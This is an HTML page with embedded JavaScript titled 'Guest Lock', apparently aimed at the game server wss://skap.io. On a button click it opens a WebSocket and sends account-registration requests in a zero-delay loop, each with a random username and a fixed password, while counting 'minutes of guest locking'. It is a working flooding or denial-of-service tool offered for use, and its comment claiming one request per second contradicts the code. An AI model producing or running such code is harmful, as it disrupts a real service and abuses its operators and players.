<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Guest Lock</title>
    <script src="https://cdn.jsdelivr.net/npm/@ygoe/msgpack/msgpack.min.js"></script>
    <style>
        /* General Styles */
        @import url('https://fonts.googleapis.com/css2?family=Snowburst+One&display=swap');
        body {
            margin: 0;
            font-family: 'Snowburst One', cursive;
            background: linear-gradient(to bottom, #1e3c72, #2a5298);
            color: white;
            text-align: center;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            overflow: hidden;
        }
        p {
            font-size: 20px;
        }
    </style>
</head>
<body>
    <div id="content">
        <p>Loading...</p>
    </div>

    <script>
        // Allowed domains and URLs
        const allowedUrls = [
            'https://skap.buzz',
            'https://www.skap.buzz'
        ];

        const currentUrl = window.location.href;

        // Check if current URL starts with an allowed URL
        const isValidUrl = allowedUrls.some(baseUrl => currentUrl.startsWith(baseUrl));

        if (!isValidUrl) {
            // Replace content with a restricted access message
            document.body.innerHTML = `<p>You must be allowed by the owner of this file to use its contents. Thank you!</p>`;
        } else {
            // If valid, render the actual content
            document.getElementById('content').innerHTML = `
                <button id="guestLockButton">❄ Guest Lock ❄</button>
                <div id="counters">
                    <div id="c">Accounts Registered: 0</div>
                    <div id="ticks">0 minutes of guest locking.</div>
                </div>
            `;

            // Include your original JavaScript here to handle the functionality
            const ws = new WebSocket("wss://skap.io");
            ws.binaryType = "arraybuffer";

            let accountsRegistered = 0, ticks = 0;

            const updateCounters = () => {
                document.getElementById("c").innerText = `Accounts Registered: ${accountsRegistered}`;
                document.getElementById("ticks").innerText = formatTime(ticks);
            };

            const formatTime = (minutes) => {
                if (minutes < 60) {
                    return `${minutes} minute${minutes !== 1 ? 's' : ''} of guest locking.`;
                } else if (minutes < 1440) {
                    const hours = Math.floor(minutes / 60);
                    return `${hours} hour${hours !== 1 ? 's' : ''} of guest locking.`;
                } else {
                    const days = Math.floor(minutes / 1440);
                    return `${days} day${days !== 1 ? 's' : ''} of guest locking.`;
                }
            };

            const randomString = (length) => {
                const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                return Array.from({ length: length }, () => chars.charAt(Math.floor(Math.random() * chars.length))).join('');
            };

            const workerBlob = new Blob([`
                self.onmessage = (e) => {
                    try {
                        const { username, password } = e.data;
                        const combined = username + password;
                        crypto.subtle.digest("SHA-256", new TextEncoder().encode(combined)).then(hash => {
                            const hashHex = Array.from(new Uint8Array(hash))
                                .map(byte => byte.toString(16).padStart(2, "0"))
                                .join("");
                            self.postMessage({ username, passwordHash: hashHex });
                        });
                    } catch (error) {
                        self.postMessage({ error: "Hashing error occurred." });
                    }
                };
            `], { type: "application/javascript" });

            const worker = new Worker(URL.createObjectURL(workerBlob));

            worker.onmessage = (e) => {
                if (e.data.error) {
                    console.error("Worker error:", e.data.error);
                    return;
                }
                const { username, passwordHash } = e.data;

                const message = msgpack.serialize({ e: "register", m: { username, password: passwordHash } });
                ws.send(message);

                accountsRegistered++;
                if (accountsRegistered % 50 === 0) ticks++;
                updateCounters();
                console.log(`REGISTERED: ${username}`);
            };

            ws.addEventListener("open", () => {
                console.log("WebSocket connected");
            });

            document.getElementById("guestLockButton").addEventListener("click", () => {
                setInterval(() => {
                    const username = `user${randomString(5)}`;
                    const password = "ProoklIsVerySigmaNglExDExD";
                    worker.postMessage({ username, password });
                }, 0); // Send one registration per second
            });
        }
    </script>
</body>
</html>
